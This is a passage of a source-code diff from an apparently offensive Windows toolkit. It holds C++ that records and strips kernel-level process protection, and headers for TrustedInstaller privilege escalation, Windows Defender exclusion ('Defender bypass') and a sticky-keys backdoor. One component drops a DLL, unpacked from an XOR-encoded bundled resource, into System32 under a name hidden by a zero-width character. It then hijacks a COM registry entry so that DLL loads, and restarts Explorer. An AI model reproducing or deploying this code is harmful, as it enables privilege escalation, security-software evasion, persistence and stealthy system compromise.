LONG result = RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr);
if (result != ERROR_SUCCESS)
break;
std::wstring candidate = subKeyName;
std::wstring normalizedCandidate = candidate;
std::transform(normalizedCandidate.begin(), normalizedCandidate.end(),
normalizedCandidate.begin(), ::towlower);
if (normalizedCandidate == normalizedSigner) {
foundSignerKey = candidate;
break;
}
index++;
}
if (foundSignerKey.empty()) {
RegCloseKey(hSession);
DEBUG(L"No signer key found for: %s (normalized: %s)", signerName.c_str(), normalizedSigner.c_str());
return entries;
}
// Use found key name
entries = LoadSessionEntriesFromPath(sessionPath, foundSignerKey);
RegCloseKey(hSession);
DEBUG(L"Loaded %zu entries for signer: %s (key: %s)", entries.size(), signerName.c_str(), foundSignerKey.c_str());
return entries;
}
std::vector<SessionEntry> SessionManager::LoadSessionEntriesFromPath(const std::wstring& sessionPath, const std::wstring& signerName) noexcept
{
std::vector<SessionEntry> entries;
std::wstring signerPath = sessionPath + L"\\" + signerName;
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return entries;
DWORD count = 0;
DWORD dataSize = sizeof(DWORD);
if (RegQueryValueExW(hKey, L"Count", nullptr, nullptr, reinterpret_cast<BYTE*>(&count), &dataSize) != ERROR_SUCCESS) {
count = 0;
}
for (DWORD i = 0; i < count; i++)
{
std::wstring valueName = L"Proc_" + std::to_wstring(i);
wchar_t valueData[512];
DWORD valueSize = sizeof(valueData);
if (RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr,
reinterpret_cast<BYTE*>(valueData), &valueSize) == ERROR_SUCCESS)
{
// Parse: "PID|ProcessName|Protection|SigLevel|SecSigLevel|Status"
std::wstring data = valueData;
std::vector<std::wstring> parts;
std::wstring current;
for (wchar_t ch : data)
{
if (ch == L'|')
{
parts.push_back(current);
current.clear();
}
else
{
current += ch;
}
}
if (!current.empty())
parts.push_back(current);
if (parts.size() >= 5)
{
SessionEntry entry;
entry.Pid = static_cast<DWORD>(std::stoul(parts[0]));
entry.ProcessName = parts[1];
entry.OriginalProtection = static_cast<UCHAR>(std::stoi(parts[2]));
entry.SignatureLevel = static_cast<UCHAR>(std::stoi(parts[3]));
entry.SectionSignatureLevel = static_cast<UCHAR>(std::stoi(parts[4]));
entry.Status = (parts.size() >= 6) ? parts[5] : L"UNPROTECTED";
entries.push_back(entry);
}
}
}
RegCloseKey(hKey);
return entries;
}
// Restore protection for specific signer group
bool SessionManager::RestoreBySigner(const std::wstring& signerName, Controller* controller) noexcept
{
if (!controller)
{
ERROR(L"Controller not available for restoration");
return false;
}
// Find actual signer key name in registry (case-insensitive search)
std::wstring normalizedSigner = signerName;
std::transform(normalizedSigner.begin(), normalizedSigner.end(),
normalizedSigner.begin(), ::towlower);
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
HKEY hSession;
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
{
INFO(L"No saved state found for signer: %s", signerName.c_str());
return false;
}
// Find actual key name in registry
DWORD index = 0;
wchar_t subKeyName[256];
DWORD subKeyNameSize;
std::wstring foundSignerKey;
while (true)
{
subKeyNameSize = 256;
LONG result = RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr);
if (result != ERROR_SUCCESS)
break;
std::wstring candidate = subKeyName;
std::wstring normalizedCandidate = candidate;
std::transform(normalizedCandidate.begin(), normalizedCandidate.end(),
normalizedCandidate.begin(), ::towlower);
if (normalizedCandidate == normalizedSigner) {
foundSignerKey = candidate;
break;
}
index++;
}
RegCloseKey(hSession);
if (foundSignerKey.empty())
{
INFO(L"No saved state found for signer: %s", signerName.c_str());
return false;
}
// Load entries using actual key name
auto entries = LoadSessionEntriesFromPath(sessionPath, foundSignerKey);
if (entries.empty())
{
INFO(L"No saved state found for signer: %s", signerName.c_str());
return false;
}
INFO(L"Restoring protection for %s (%zu processes)", signerName.c_str(), entries.size());
DWORD successCount = 0;
DWORD skipCount = 0;
DWORD entryIndex = 0;
for (const auto& entry : entries)
{
// Skip if already restored
if (entry.Status == L"RESTORED")
{
skipCount++;
entryIndex++;
continue;
}
// Check if process still exists
auto kernelAddr = controller->GetProcessKernelAddress(entry.Pid);
if (!kernelAddr)
{
INFO(L"Skipping PID %d (%s) - process no longer exists", entry.Pid, entry.ProcessName.c_str());
skipCount++;
entryIndex++;
continue;
}
// Restore original protection
if (controller->SetProcessProtection(kernelAddr.value(), entry.OriginalProtection))
{
UpdateEntryStatus(foundSignerKey, entryIndex, L"RESTORED");
SUCCESS(L"Restored protection for PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
successCount++;
}
else
{
ERROR(L"Failed to restore protection for PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
}
entryIndex++;
}
INFO(L"Restoration completed: %d restored, %d skipped", successCount, skipCount);
return successCount > 0;
}
// Restore all saved protection states
bool SessionManager::RestoreAll(Controller* controller) noexcept
{
if (!controller)
{
ERROR(L"Controller not available for restoration");
return false;
}
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
HKEY hSession;
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
{
INFO(L"No saved session state found");
return false;
}
// Enumerate all signer subkeys
DWORD index = 0;
wchar_t subKeyName[256];
DWORD subKeyNameSize;
std::vector<std::wstring> signers;
while (true)
{
subKeyNameSize = 256;
if (RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
break;
signers.push_back(subKeyName);
index++;
}
RegCloseKey(hSession);
if (signers.empty())
{
INFO(L"No saved state found in current session");
return false;
}
INFO(L"Restoring all protection states (%zu groups)", signers.size());
bool anySuccess = false;
for (const auto& signer : signers)
{
if (RestoreBySigner(signer, controller))
anySuccess = true;
}
return anySuccess;
}
// Display saved session history
void SessionManager::ShowHistory() noexcept
{
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
HKEY hSessions;
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hSessions) != ERROR_SUCCESS)
{
INFO(L"No saved session state found (cannot open sessions key)");
return;
}
// Show current calculated boot session ID
std::wstring currentSession = GetCurrentBootSession();
INFO(L"Current boot session ID: %s", currentSession.c_str());
INFO(L"All sessions found in registry:");
DWORD index = 0;
wchar_t subKeyName[256];
DWORD subKeyNameSize;
bool foundSessions = false;
while (true)
{
subKeyNameSize = 256;
if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
break;
std::wstring sessionId = subKeyName;
std::wcout << L"\nSession: " << sessionId;
if (sessionId == currentSession) {
std::wcout << L" [CURRENT]";
}
std::wcout << L"\n";
std::wstring sessionPath = basePath + L"\\" + sessionId;
HKEY hSession;
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) == ERROR_SUCCESS)
{
DWORD signerIndex = 0;
wchar_t signerName[256];
DWORD signerNameSize;
while (true)
{
signerNameSize = 256;
if (RegEnumKeyExW(hSession, signerIndex, signerName, &signerNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
break;
std::wstring signer = signerName;
auto entries = LoadSessionEntriesFromPath(sessionPath, signer);
std::wcout << L" [" << signer << L"] - " << entries.size() << L" processes\n";
for (const auto& entry : entries)
{
std::wcout << L" PID " << entry.Pid << L": " << entry.ProcessName
<< L" (protection: 0x" << std::hex << static_cast<int>(entry.OriginalProtection)
<< std::dec << L", status: " << entry.Status << L")\n";
}
signerIndex++;
foundSessions = true;
}
RegCloseKey(hSession);
}
index++;
}
RegCloseKey(hSessions);
if (!foundSessions) {
INFO(L"No session data found in registry");
}
}
HKEY SessionManager::OpenOrCreateKey(const std::wstring& path) noexcept
{
HKEY hKey;
DWORD disposition;
if (RegCreateKeyExW(HKEY_CURRENT_USER, path.c_str(), 0, nullptr,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nullptr,
&hKey, &disposition) != ERROR_SUCCESS)
{
return nullptr;
}
return hKey;
}
bool SessionManager::DeleteKeyRecursive(HKEY hKeyParent, const std::wstring& subKey) noexcept
{
HKEY hKey;
if (RegOpenKeyExW(hKeyParent, subKey.c_str(), 0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS)
return false;
// Delete all subkeys first
wchar_t childName[256];
DWORD childNameSize;
while (true)
{
childNameSize = 256;
if (RegEnumKeyExW(hKey, 0, childName, &childNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
break;
DeleteKeyRecursive(hKey, childName);
}
RegCloseKey(hKey);
RegDeleteKeyW(hKeyParent, subKey.c_str());
return true;
}

113
kvc/SessionManager.h Normal file
View File

@@ -0,0 +1,113 @@
// SessionManager.h - Manages process protection state across boot sessions via registry persistence
#pragma once
#include "common.h"
#include <string>
#include <vector>
#include <optional>
// Forward declarations
struct ProcessEntry;
class Controller;
// Single process protection state entry for restoration
struct SessionEntry
{
DWORD Pid; // Process ID at unprotect time
std::wstring ProcessName; // Executable name
UCHAR OriginalProtection; // Original protection level
UCHAR SignatureLevel; // Executable signature level
UCHAR SectionSignatureLevel; // DLL section signature level
std::wstring Status; // "UNPROTECTED" or "RESTORED"
};
// Manages protection state tracking and restoration across reboots (max 16 sessions)
class SessionManager
{
public:
// Construct session manager (no automatic reboot detection)
SessionManager() = default;
// Default destructor (no cleanup needed)
~SessionManager() = default;
// === Session Lifecycle Management ===
// Remove outdated session entries from registry
void CleanupStaleSessions() noexcept;
// Delete all sessions except current boot session
void CleanupAllSessionsExceptCurrent() noexcept;
// Detect reboot by comparing boot ID and cleanup old sessions
void DetectAndHandleReboot() noexcept;
// Enforce maximum number of stored sessions (default 16)
void EnforceSessionLimit(int maxSessions) noexcept;
// === State Tracking Operations ===
// Save unprotect state for given signer group to registry
bool SaveUnprotectOperation(const std::wstring& signerName,
const std::vector<ProcessEntry>& affectedProcesses) noexcept;
// === Restoration Operations ===
// Restore protection for all entries under specified signer
bool RestoreBySigner(const std::wstring& signerName, Controller* controller) noexcept;
// Restore all saved protections across all signer groups
bool RestoreAll(Controller* controller) noexcept;
// === Query Operations ===
// Display session history and statistics
void ShowHistory() noexcept;
private:
// Get current boot session ID: "{BootID}_{TickCount}"
std::wstring GetCurrentBootSession() noexcept;
// Convert tick count to human-readable boot time
std::wstring CalculateBootTime() noexcept;
// Read last boot ID from registry
ULONGLONG GetLastBootIdFromRegistry() noexcept;
// Save current boot ID to registry
void SaveLastBootId(ULONGLONG bootId) noexcept;
// Read last tick count from registry
ULONGLONG GetLastTickCountFromRegistry() noexcept;
// Save current tick count to registry
void SaveLastTickCount(ULONGLONG tickCount) noexcept;
// Return base registry path for sessions
std::wstring GetRegistryBasePath() noexcept;
// Build full registry path for given session ID
std::wstring GetSessionPath(const std::wstring& sessionId) noexcept;
// Load all session entries for given signer
std::vector<SessionEntry> LoadSessionEntries(const std::wstring& signerName) noexcept;
// Load session entries from given registry path
std::vector<SessionEntry> LoadSessionEntriesFromPath(const std::wstring& sessionPath,
const std::wstring& signerName) noexcept;
// Write single session entry to registry
bool WriteSessionEntry(const std::wstring& signerName, DWORD index, const SessionEntry& entry) noexcept;
// Update status ("UNPROTECTED"/"RESTORED") for specific entry
bool UpdateEntryStatus(const std::wstring& signerName, DWORD index, const std::wstring& newStatus) noexcept;
// Enumerate all stored session IDs in registry
std::vector<std::wstring> GetAllSessionIds() noexcept;
// Open or create registry key by path
HKEY OpenOrCreateKey(const std::wstring& path) noexcept;
// Recursively delete registry key and all its subkeys
bool DeleteKeyRecursive(HKEY hKeyParent, const std::wstring& subKey) noexcept;
};

File diff suppressed because it is too large Load Diff

View File

@@ -3,15 +3,15 @@
#include <windows.h>
#include <string>
#include <vector>
#include <string_view>
#include <span>
// TrustedInstaller privilege escalation for maximum system access
class TrustedInstallerIntegrator
{
public:
TrustedInstallerIntegrator();
~TrustedInstallerIntegrator();
// Enhanced exclusion types for comprehensive Defender management
enum class ExclusionType {
Paths,
Processes,
@@ -19,64 +19,101 @@ public:
IpAddresses
};
// Main public interface for elevated operations
// Process execution
bool RunAsTrustedInstaller(const std::wstring& commandLine);
bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
// Legacy exclusion management (backward compatibility)
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
bool AddContextMenuEntries();
// File operations (NEW - direct write/delete with TrustedInstaller)
bool WriteFileAsTrustedInstaller(std::wstring_view filePath,
std::span<const BYTE> data) noexcept;
bool DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept;
// Enhanced exclusion management with type specification
bool AddDefenderExclusion(ExclusionType type, const std::wstring& value);
bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value);
bool RenameFileAsTrustedInstaller(std::wstring_view srcPath,
std::wstring_view dstPath) noexcept;
// Type-specific exclusion methods for convenience
bool AddExtensionExclusion(const std::wstring& extension);
bool RemoveExtensionExclusion(const std::wstring& extension);
bool AddIpAddressExclusion(const std::wstring& ipAddress);
bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
// Creates a directory with TrustedInstaller privileges
bool CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept;
// Sticky keys backdoor management
// Registry operations (NEW - direct registry access with TrustedInstaller)
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
std::wstring_view subKey) noexcept;
bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
std::wstring_view subKey,
std::wstring_view valueName,
std::wstring_view value) noexcept;
bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
std::wstring_view subKey,
std::wstring_view valueName,
DWORD value) noexcept;
bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
std::wstring_view subKey,
std::wstring_view valueName,
std::span<const BYTE> data) noexcept;
bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
std::wstring_view subKey,
std::wstring_view valueName,
std::wstring& outValue) noexcept;
bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
std::wstring_view subKey) noexcept;
// Defender exclusions
bool AddDefenderExclusion(ExclusionType type, std::wstring_view value);
bool RemoveDefenderExclusion(ExclusionType type, std::wstring_view value);
bool AddToDefenderExclusions(std::wstring_view customPath = L"");
bool RemoveFromDefenderExclusions(std::wstring_view customPath = L"");
bool AddPathExclusion(std::wstring_view path);
bool RemovePathExclusion(std::wstring_view path);
bool AddProcessExclusion(std::wstring_view processName);
bool RemoveProcessExclusion(std::wstring_view processName);
bool AddExtensionExclusion(std::wstring_view extension);
bool RemoveExtensionExclusion(std::wstring_view extension);
bool AddIpAddressExclusion(std::wstring_view ipAddress);
bool RemoveIpAddressExclusion(std::wstring_view ipAddress);
bool AddProcessToDefenderExclusions(std::wstring_view processName);
bool RemoveProcessFromDefenderExclusions(std::wstring_view processName);
// Simplified Defender exclusion management
int AddMultipleDefenderExclusions(
const std::vector<std::wstring>& paths,
const std::vector<std::wstring>& processes,
const std::vector<std::wstring>& extensions);
// Sticky keys backdoor
bool InstallStickyKeysBackdoor() noexcept;
bool RemoveStickyKeysBackdoor() noexcept;
// Process exclusion management for Defender bypass
bool AddProcessToDefenderExclusions(const std::wstring& processName);
bool RemoveProcessFromDefenderExclusions(const std::wstring& processName);
// Context menu
bool AddContextMenuEntries();
// Public access methods for Controller integration
static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; }
static int GetPrivilegeCount() { return PRIVILEGE_COUNT; }
bool PublicImpersonateSystem() { return ImpersonateSystem(); }
// TrustedInstaller token management
// Token access
HANDLE GetCachedTrustedInstallerToken();
DWORD StartTrustedInstallerService();
bool PublicImpersonateSystem() { return ImpersonateSystem(); }
static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; }
static int GetPrivilegeCount() { return PRIVILEGE_COUNT; }
private:
// Privilege and process management
BOOL EnablePrivilege(LPCWSTR privilegeName);
DWORD GetProcessIdByName(LPCWSTR processName);
BOOL ImpersonateSystem();
// Process creation with TrustedInstaller token
BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine);
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine);
// Shortcut file handling for .lnk support
std::wstring ResolveLnk(LPCWSTR lnkPath);
BOOL IsLnkFile(LPCWSTR filePath);
bool AddPathExclusion(const std::wstring& path);
// Validation and helper methods for exclusions
bool ValidateExtension(const std::wstring& extension) noexcept;
bool ValidateIpAddress(const std::wstring& ipAddress) noexcept;
std::wstring NormalizeExtension(const std::wstring& extension) noexcept;
std::wstring GetExclusionTypeString(ExclusionType type) noexcept;
// Complete Windows privilege set for maximum access
static const LPCWSTR ALL_PRIVILEGES[];
static const int PRIVILEGE_COUNT;
// Defender availability checking
bool IsDefenderAvailable() noexcept;
bool IsDefenderRunning() noexcept;
BOOL EnablePrivilegeInternal(std::wstring_view privilegeName);
BOOL ImpersonateSystem();
BOOL CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine);
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine);
DWORD GetProcessIdByName(std::wstring_view processName);
bool IsLnkFile(std::wstring_view path);
std::wstring ResolveLnk(std::wstring_view lnkPath);
bool ValidateExtension(std::wstring_view extension) noexcept;
bool ValidateIpAddress(std::wstring_view ipAddress) noexcept;
std::wstring NormalizeExtension(std::wstring_view extension) noexcept;
std::wstring ExtractProcessName(std::wstring_view fullPath) noexcept;
};

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,7 @@
// Utils.h
// Core utility functions for KVC Framework
// Author: Marek Wesolowski, 2025
#pragma once
#include "common.h"
@@ -6,22 +10,46 @@
#include <unordered_map>
#include <unordered_set>
#include <vector>
#include <array>
namespace Utils
{
// String and numeric parsing utilities
// ============================================================================
// STRING AND NUMERIC PARSING
// ============================================================================
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept;
bool IsNumeric(const std::wstring& str) noexcept;
// Resource and file operations
std::vector<BYTE> ReadFile(const std::wstring& path);
// ============================================================================
// FILE AND RESOURCE OPERATIONS
// ============================================================================
// Read file into byte vector
std::vector<BYTE> ReadFile(const std::wstring& path) noexcept;
// Read embedded resource from executable
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType);
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data);
// Advanced process name resolution
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept;
// Write byte vector to file
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data) noexcept;
// Force delete file with attribute removal
bool ForceDeleteFile(const std::wstring& path) noexcept;
// ============================================================================
// PROCESS NAME RESOLUTION
// ============================================================================
std::wstring GetProcessName(DWORD pid) noexcept;
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress,
UCHAR protectionLevel, UCHAR signerType) noexcept;
// ============================================================================
// KERNEL OPERATIONS
// ============================================================================
// Kernel operations with inline optimizations
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept;
constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept
@@ -29,44 +57,61 @@ namespace Utils
return base + offset;
}
// ============================================================================
// PROTECTION LEVEL BIT MANIPULATION
// ============================================================================
// Extract protection level from combined byte (lower 3 bits)
constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept
{
return protection & 0x07;
}
// Extract signer type from combined byte (upper 4 bits)
constexpr UCHAR GetSignerType(UCHAR protection) noexcept
{
return (protection & 0xf0) >> 4;
return (protection & 0xF0) >> 4;
}
// Combine protection level and signer into single byte
constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept
{
return (signerType << 4) | protectionLevel;
}
// Extract signature level value (lower 4 bits)
constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept
{
return signatureLevel & 0x0F;
}
// Extract section signature level value (lower 4 bits)
constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept
{
return sectionSignatureLevel & 0x0F;
}
// String conversion functions with static caching
// ============================================================================
// PROTECTION LEVEL STRING CONVERSIONS
// ============================================================================
const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept;
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept;
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept;
const wchar_t* GetSectionSignatureLevelAsString(UCHAR sectionSignatureLevel) noexcept;
// ============================================================================
// STRING TO ENUM PARSING
// ============================================================================
// Parsing functions for command-line input
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept;
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept;
std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept;
std::optional<UCHAR> GetSectionSignatureLevel(UCHAR signerType) noexcept;
// Process operations with comprehensive dumpability analysis
std::wstring GetProcessName(DWORD pid) noexcept;
// ============================================================================
// PROCESS DUMPABILITY ANALYSIS
// ============================================================================
struct ProcessDumpability
{
@@ -74,17 +119,66 @@ namespace Utils
std::wstring Reason;
};
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept;
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName,
UCHAR protectionLevel, UCHAR signerType) noexcept;
// ============================================================================
// HEX STRING UTILITIES
// ============================================================================
// Hex string processing utilities for kernel tools
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
bool IsValidHexString(const std::wstring& hexString) noexcept;
// PE parsing and binary manipulation utilities
// ============================================================================
// PE BINARY MANIPULATION
// ============================================================================
// Get PE file length from binary data
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset = 0) noexcept;
// Split combined PE binary (used for kvc.dat extraction)
bool SplitCombinedPE(const std::vector<BYTE>& combined,
std::vector<BYTE>& first,
std::vector<BYTE>& second) noexcept;
// XOR decryption with 7-byte key
std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
const std::array<BYTE, 7>& key) noexcept;
// ============================================================================
// CAB DECOMPRESSION AND WATERMARK EXTRACTION
// ============================================================================
// Decompress CAB archive from memory and extract kvc.evtx
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
// Split kvc.evtx into kvc.sys (driver) and ExplorerFrame\u200B.dll
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept;
// Extract components from resource 102 (CAB containing kvc.sys + ExplorerFrame\u200B.dll)
bool ExtractResourceComponents(int resourceId,
std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept;
// ============================================================================
// CONSOLE COLORING
// ============================================================================
struct ProcessColors {
static constexpr const wchar_t* GREEN = L"\033[92m";
static constexpr const wchar_t* RED = L"\033[91m";
static constexpr const wchar_t* YELLOW = L"\033[93m";
static constexpr const wchar_t* BLUE = L"\033[94m";
static constexpr const wchar_t* PURPLE = L"\033[95m";
static constexpr const wchar_t* CYAN = L"\033[96m";
static constexpr const wchar_t* HEADER = L"\033[97;44m";
static constexpr const wchar_t* RESET = L"\033[0m";
};
bool EnableConsoleVirtualTerminal() noexcept;
const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel,
UCHAR sectionSignatureLevel) noexcept;
}

234
kvc/WatermarkManager.cpp Normal file
View File

@@ -0,0 +1,234 @@
// WatermarkManager.cpp
// Implementation of watermark removal via DLL hijacking
#include "WatermarkManager.h"
#include "Utils.h"
#include <tlhelp32.h>
#include <iostream>
// Constructor
WatermarkManager::WatermarkManager(TrustedInstallerIntegrator& trustedInstaller)
: m_trustedInstaller(trustedInstaller)
{
}
// Main removal operation
bool WatermarkManager::RemoveWatermark() noexcept
{
INFO(L"[WATERMARK] Starting watermark removal process");
// Extract ExplorerFrame\u200B.dll from resource
std::vector<BYTE> dllData;
if (!ExtractWatermarkDLL(dllData)) {
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
return false;
}
INFO(L"[WATERMARK] Successfully extracted ExplorerFrame\u200B.dll (%zu bytes)", dllData.size());
// Get System32 path
std::wstring system32Path = GetSystem32Path();
if (system32Path.empty()) {
ERROR(L"[WATERMARK] Failed to locate System32 directory");
return false;
}
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
// Write DLL using TrustedInstaller
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
ERROR(L"[WATERMARK] Failed to deploy DLL to System32");
return false;
}
INFO(L"[WATERMARK] DLL deployed to: %s", dllPath.c_str());
// Hijack registry entry
if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
HKEY_CLASSES_ROOT, CLSID_KEY, L"", HIJACKED_DLL)) {
ERROR(L"[WATERMARK] Failed to hijack registry entry");
return false;
}
INFO(L"[WATERMARK] Registry hijacked successfully");
// Restart Explorer to apply changes
if (!RestartExplorer()) {
ERROR(L"[WATERMARK] Failed to restart Explorer");
return false;
}
SUCCESS(L"[WATERMARK] Watermark removed successfully");
return true;
}
// Restore original watermark
bool WatermarkManager::RestoreWatermark() noexcept
{
INFO(L"[WATERMARK] Starting watermark restoration process");
// 1. Najpierw przywróć rejestr
if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
HKEY_CLASSES_ROOT, CLSID_KEY, L"", ORIGINAL_DLL)) {
ERROR(L"[WATERMARK] Failed to restore registry entry");
return false;
}
INFO(L"[WATERMARK] Registry restored to original value");
// 2. Zrestartuj Explorera (to zwolni uchwyt do DLL)
if (!RestartExplorer()) {
ERROR(L"[WATERMARK] Failed to restart Explorer");
return false;
}
// 3. Teraz usuń DLL (uchwyt został zwolniony)
std::wstring system32Path = GetSystem32Path();
if (!system32Path.empty()) {
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
// Dodaj krótkie opóźnienie dla pewności
Sleep(1000);
if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(dllPath)) {
// Nie traktuj jako błędu krytycznego - DLL może być w użyciu
INFO(L"[WATERMARK] DLL might still be in use, will be removed on next restart: %s",
dllPath.c_str());
} else {
INFO(L"[WATERMARK] Hijacked DLL deleted successfully");
}
}
SUCCESS(L"[WATERMARK] Watermark restored successfully");
return true;
}
// Check current status
std::wstring WatermarkManager::GetWatermarkStatus() noexcept
{
std::wstring currentValue = ReadRegistryValue(HKEY_CLASSES_ROOT, CLSID_KEY, L"");
if (currentValue == HIJACKED_DLL) {
return L"REMOVED";
} else if (currentValue == ORIGINAL_DLL) {
return L"ACTIVE";
}
return L"UNKNOWN";
}
bool WatermarkManager::IsWatermarkRemoved() noexcept
{
return GetWatermarkStatus() == L"REMOVED";
}
// Extract DLL from resource - Complete pipeline
bool WatermarkManager::ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept
{
std::vector<BYTE> kvcSysData;
if (!Utils::ExtractResourceComponents(RESOURCE_ID, kvcSysData, outDllData)) {
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
return false;
}
DEBUG(L"[WATERMARK] ExplorerFrame\u200B.dll extracted: %zu bytes", outDllData.size());
return !outDllData.empty();
}
// Restart Explorer process
bool WatermarkManager::RestartExplorer() noexcept
{
INFO(L"[WATERMARK] Restarting Explorer...");
// Find all explorer.exe processes
std::vector<DWORD> explorerPids;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W pe;
pe.dwSize = sizeof(pe);
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, L"explorer.exe") == 0) {
explorerPids.push_back(pe.th32ProcessID);
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
// Terminate all Explorer instances
std::vector<HANDLE> processHandles;
for (DWORD pid : explorerPids) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess) {
TerminateProcess(hProcess, 0);
processHandles.push_back(hProcess);
}
}
// Wait for termination
if (!processHandles.empty()) {
WaitForMultipleObjects(
static_cast<DWORD>(processHandles.size()),
processHandles.data(),
TRUE,
5000
);
for (HANDLE h : processHandles) {
CloseHandle(h);
}
}
// Start new Explorer instance
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.fMask = SEE_MASK_FLAG_NO_UI;
sei.lpFile = L"explorer.exe";
sei.lpParameters = L"/e,"; // ← Prevents opening folder window
sei.nShow = SW_HIDE; // ← ! Hide the window
if (!ShellExecuteExW(&sei)) {
ERROR(L"[WATERMARK] Failed to restart Explorer");
return false;
}
Sleep(1000); // Give Explorer time to start
return true;
}
// Get System32 path
std::wstring WatermarkManager::GetSystem32Path() noexcept
{
wchar_t systemDir[MAX_PATH];
if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) {
return L"";
}
return std::wstring(systemDir);
}
// Read registry value
std::wstring WatermarkManager::ReadRegistryValue(HKEY hKey, const std::wstring& subKey,
const std::wstring& valueName) noexcept
{
HKEY hOpenKey;
if (RegOpenKeyExW(hKey, subKey.c_str(), 0, KEY_READ, &hOpenKey) != ERROR_SUCCESS) {
return L"";
}
wchar_t value[1024];
